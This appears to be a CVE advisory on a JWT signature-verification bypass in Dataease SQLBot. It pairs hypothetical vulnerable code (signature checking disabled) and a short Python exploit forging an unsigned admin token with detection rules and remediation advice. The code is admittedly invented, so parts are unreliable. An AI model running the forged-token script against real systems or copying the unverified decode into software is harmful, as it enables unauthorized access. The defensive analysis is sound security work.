CVE-2025-15598
Executive Summary
CVE-2025-15598 is a vulnerability in Dataease SQLBot up to version 1.5.1, specifically in the JWT Token Handler component. The flaw resides in the validateEmbedded function within backend/apps/system/middleware/auth.py, where improper verification of cryptographic signatures allows an attacker to bypass JWT authentication. The attack is remotely exploitable but considered difficult due to high complexity. The exploit has been publicly disclosed, and a source code comment warns users about using this feature. The vendor was contacted but no patch has been confirmed.
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Supply Chain & Package Security
This vulnerability affects the Dataease SQLBot application, which is a Python-based backend service. The JWT token handling is implemented in the application code, not in a third-party package. However, the use of JWT libraries (e.g., PyJWT) could be involved. Users should verify the integrity of their Dataease installation and ensure no malicious modifications have been made to the auth.py file.
CVSS Breakdown & Threat Level
- CVSS Score: 3.7 (Low)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: High (AC:H) – Exploitation requires specific conditions or knowledge.
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – Potential for limited information disclosure.
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Low. The high complexity and low impact reduce immediate risk, but public exploit availability increases the need for monitoring.
Deep Dive & Mechanics
The vulnerability is in the validateEmbedded function of auth.py. This function is responsible for verifying JWT tokens used for authentication. The improper verification of cryptographic signatures means that the application does not correctly validate the signature of incoming JWT tokens. This could allow an attacker to forge a valid JWT token by manipulating the signature verification process, potentially bypassing authentication.
The source code comment warning users about using this feature suggests that the validateEmbedded function may be intended for internal or testing purposes and should not be exposed in production. The attack complexity is high, likely due to the need to understand the specific implementation details and craft a token that passes the flawed verification.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current implementation. The following is a hypothetical example of the vulnerable code and a potential fix.
Vulnerable Code (auth.py):
def validateEmbedded(token):
# WARNING: This function is not secure for production use.
try:
payload = jwt.decode(token, options={"verify_signature": False})
return payload
except:
return None
Patched Code (hypothetical):
def validateEmbedded(token):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
return payload
except jwt.InvalidSignatureError:
return None
The vulnerable code disables signature verification entirely, while the patched code uses a secret key and proper algorithm verification.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the Dataease SQLBot instance (network reachable).
- Knowledge of the JWT token structure used by the application.
- Ability to craft a JWT token with arbitrary payload.
Exploitation Steps:
- Identify the JWT token format used by the application (e.g., via login response or API documentation).
- Craft a JWT token with a payload that grants elevated privileges (e.g.,
{"user": "admin", "role": "admin"}). - Set the algorithm to
noneor use an empty signature. - Send the crafted token to the vulnerable endpoint (e.g.,
/api/validate). - If successful, the application will accept the token and grant access.
Example Exploit (Python):
import jwt
import requests
# Craft a token with no signature
payload = {"user": "admin", "role": "admin"}
token = jwt.encode(payload, key="", algorithm="none")
# Send to vulnerable endpoint
url = "http://target/api/validate"
headers = {"Authorization": f"Bearer {token}"}
response = requests.get(url, headers=headers)
print(response.text)
Blue Team
Detection Steps:
- Monitor for JWT tokens with algorithm
noneor empty signatures. - Check logs for failed authentication attempts that suddenly succeed.
- Review source code for any instances of
verify_signature=Falseor similar. - Implement network segmentation to limit exposure of the vulnerable endpoint.
Mitigation:
- Disable the
validateEmbeddedfunction if not needed. - Apply input validation to reject tokens with algorithm
none. - Use a strong secret key and enforce signature verification.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
Authorization: Bearerheader containing JWT tokens with algorithmnone. - Unusual API calls to endpoints that use
validateEmbedded.
- HTTP requests with
- File IOCs:
- Modified
auth.pyfile with signature verification disabled. - Presence of JWT tokens with empty signature in logs.
- Modified
- Behavioral IOCs:
- Successful authentication without valid credentials.
- Access to restricted resources without proper authorization.
Detection Engineering
YARA Rule
rule CVE_2025_15598_JWT_Signature_Bypass {
meta:
description = "Detects JWT tokens with algorithm 'none' or empty signature"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-15598"
strings:
$alg_none = /"alg"\s*:\s*"none"/ nocase
$empty_sig = /\.\s*$/ // Token ending with dot and no signature
condition:
$alg_none or $empty_sig
}
Sigma Rule
title: CVE-2025-15598 JWT Signature Bypass Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects JWT tokens with algorithm 'none' in HTTP requests
author: Valters IT
date: 2025/04/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "Bearer"
cs-uri-query|re: "alg.*none"
condition: selection
falsepositives:
- Legitimate use of algorithm 'none' in development environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-15598 JWT Signature Bypass"; flow:to_server; content:"Authorization"; nocase; content:"Bearer"; distance:0; pcre:"/alg\s*:\s*none/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
validateEmbeddedfunction if not required. - Restrict network access to the vulnerable endpoint.
- Monitor logs for suspicious JWT tokens.
- Disable the
Long-term Fix:
- Apply a patch from the vendor when available.
- Implement proper JWT signature verification using a strong secret key.
- Conduct a security audit of the authentication mechanism.
Workarounds:
- Use a Web Application Firewall (WAF) to block requests with algorithm
none. - Implement additional authentication checks (e.g., IP whitelisting).
- Use a Web Application Firewall (WAF) to block requests with algorithm
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Enable logging of all authentication attempts.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert